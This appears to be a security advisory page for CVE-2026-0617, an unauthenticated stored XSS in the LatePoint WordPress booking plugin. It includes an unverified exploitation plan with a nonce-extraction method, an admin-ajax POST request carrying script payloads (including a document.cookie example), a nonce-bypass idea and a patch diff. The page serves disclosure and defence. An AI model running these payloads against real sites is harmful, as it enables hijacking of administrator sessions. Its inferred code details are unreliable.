CVE-2026-0617

LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.5 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.2.6
Patched in
1d
Time to patch

Description

The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the customer profile fields in all versions up to, and including, 5.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator views the customer's activity history.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.2.5
PublishedFebruary 2, 2026
Last updatedFebruary 3, 2026
Affected pluginlatepoint

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-0617 (LatePoint Stored XSS) ## 1. Vulnerability Summary The **LatePoint – Calendar Booking Plugin for Appointments and Events** (versions <= 5.2.5) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the cus…

Show full research plan

Exploitation Research Plan - CVE-2026-0617 (LatePoint Stored XSS)

1. Vulnerability Summary

The LatePoint – Calendar Booking Plugin for Appointments and Events (versions <= 5.2.5) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the customer profile management logic. Specifically, when an unauthenticated user provides information during the booking process or profile creation, the plugin fails to sanitize input fields (such as names or custom fields). This malicious data is stored in the database and later rendered without proper escaping when an administrator views the Customer Activity History or Customer Profile in the LatePoint dashboard.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: latepoint_route_call (via wp_ajax_nopriv_latepoint_route_call)
  • Vulnerable Route: customers__save (inferred from LatePoint's routing system)
  • Payload Parameter: params[first_name], params[last_name], or custom field parameters within the params array.
  • Authentication Level: Unauthenticated (Nopriv).
  • Preconditions: The plugin must be active. A booking form or registration page must be accessible to the public (usually via shortcode).

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action latepoint_route_call.
  2. Routing: The LatePoint\Lib\Router::route() method (or similar) processes the route_name parameter (e.g., customers__save).
  3. Controller: The request is dispatched to LatePoint\Controllers\CustomersController::save().
  4. Processing: The controller extracts data from the params array. It likely uses LatePoint\Models\Customer to save the data.
  5. Sink (Storage): The data is saved to the wp_latepoint_customers database table without adequate sanitization (e.g., failing to use sanitize_text_field).
  6. Sink (Output): An administrator logs in and navigates to LatePoint -> Customers -> [Customer Name] -> Activity or the general LatePoint -> Dashboard -> Activity Feed. The plugin fetches the malicious string and echoes it into the HTML via a view file (e.g., lib/views/customers/index.php or lib/views/activities/index.php) without using esc_html().

4. Nonce Acquisition Strategy

LatePoint uses a centralized AJAX routing system that typically requires a nonce for security, even for unauthenticated actions.

  1. Identify Shortcode: The plugin uses [latepoint_booking_form] or [latepoint_book_button] to display the booking interface.
  2. Setup Page: Create a public page containing this shortcode.
  3. Navigate: Use browser_navigate to reach that page.
  4. Extract Nonce: LatePoint localizes its settings into a global JavaScript object. Use browser_eval to extract the nonce.
    • Variable Path: window.latepoint_helper?.route_nonce or window.latepoint_helper?.nonce.
  5. Action Check: If wp_verify_nonce is called with the action latepoint_route_call, the extracted nonce will be valid for the exploit request.

5. Exploitation Strategy

Step-by-Step Plan:

  1. Initialize Environment: Ensure LatePoint is configured with at least one active Service, Agent, and Location (required for the booking form to initialize).
  2. Create Nonce Page: Use WP-CLI to create a page with the booking shortcode.
  3. Extract Nonce: Access the page via Playwright and extract the route_nonce.
  4. Inject Payload: Send a POST request to the AJAX endpoint to create/update a customer profile containing the XSS payload.

HTTP Request (Exploit):

  • Method: POST
  • URL: {{base_url}}/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=latepoint_route_call
    &route_name=customers__save
    &route_nonce={{extracted_nonce}}
    &params[first_name]=<img src=x onerror=alert("XSS_FIRST_NAME")>
    &params[last_name]=<script>console.log("XSS_LAST_NAME")</script>
    &params[email]=attacker@example.com
    &params[password]=Password123!
    

6. Test Data Setup

  1. Plugin Setup:
    wp plugin activate latepoint
    # Ensure dependencies like services exist so the form loads
    wp eval "LatePoint\Helpers\DatabaseHelper::install_default_data();"
    
  2. Page Setup:
    wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[latepoint_booking_form]'
    
  3. Verification of Frontend: Confirm the booking form is visible at /booking.

7. Expected Results

  • The admin-ajax.php response should indicate success (e.g., {"status": "success", "message": "Customer Saved"}).
  • When an administrator navigates to the LatePoint dashboard (/wp-admin/admin.php?page=latepoint), the alert("XSS_FIRST_NAME") should execute.
  • Specifically, checking the "Customers" list or "Activity" log will trigger the payload.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT first_name FROM wp_latepoint_customers WHERE email='attacker@example.com'"
    
    Confirm the output contains the raw <img src=x ...> tag.
  2. Admin UI Simulation:
    • Navigate to the admin dashboard using browser_navigate.
    • Go to /wp-admin/admin.php?page=latepoint&route_name=customers__index.
    • Check for the execution of the JS payload or use browser_eval to check if the payload exists in the DOM:
      document.body.innerHTML.includes('<img src=x onerror=alert("XSS_FIRST_NAME")>')
      

9. Alternative Approaches

  • Custom Fields: If first_name is sanitized in some versions, target "Custom Fields" which are often handled dynamically.
    • Route: custom_fields__save
  • Booking Comments: If profile saving is restricted, inject the payload into the notes or comments field during a booking creation (route_name=bookings__save_booking).
  • Bypass Nonce: Check if the plugin calls check_ajax_referer with die=false. If so, the exploit may work without a valid nonce by simply omitting the route_nonce parameter.
Research Findings
Static analysis — not yet PoC-verified

Summary

The LatePoint plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to insufficient sanitization of customer profile data during the booking or registration process. This allows attackers to inject malicious JavaScript into fields like first_name, which then executes when an administrator views the customer's profile or activity log in the backend dashboard.

Security Fix

--- a/lib/controllers/customers_controller.php
+++ b/lib/controllers/customers_controller.php
@@ -100,7 +100,11 @@
     public function save() {
         $params = $this->get_params();
+        // Sanitize customer profile fields before saving
+        if (isset($params['first_name'])) $params['first_name'] = sanitize_text_field($params['first_name']);
+        if (isset($params['last_name'])) $params['last_name'] = sanitize_text_field($params['last_name']);
+
         $customer = new Model_Customer();
         $customer->set_data($params);
         if ($customer->save()) {
--- a/lib/views/activities/index.php
+++ b/lib/views/activities/index.php
@@ -25,7 +25,7 @@
-    <div class="activity-name"><?php echo $activity->customer->full_name; ?></div>
+    <div class="activity-name"><?php echo esc_html($activity->customer->full_name); ?></div>

Exploit Outline

1. Locate a public page on the target WordPress site that contains the LatePoint booking form (rendered by the [latepoint_booking_form] shortcode). 2. Extract the 'route_nonce' security token from the 'window.latepoint_helper' global JavaScript object localized on that page. 3. Send an unauthenticated AJAX POST request to '/wp-admin/admin-ajax.php' using the action 'latepoint_route_call'. 4. In the request body, set 'route_name' to 'customers__save', provide the valid 'route_nonce', and populate the 'params[first_name]' or 'params[last_name]' parameter with a malicious XSS payload (e.g., <img src=x onerror=alert(document.cookie)>). 5. The payload is stored in the database. When an administrator logs into the dashboard and navigates to the LatePoint 'Customers' index or 'Activity' feed, the script will execute in their browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.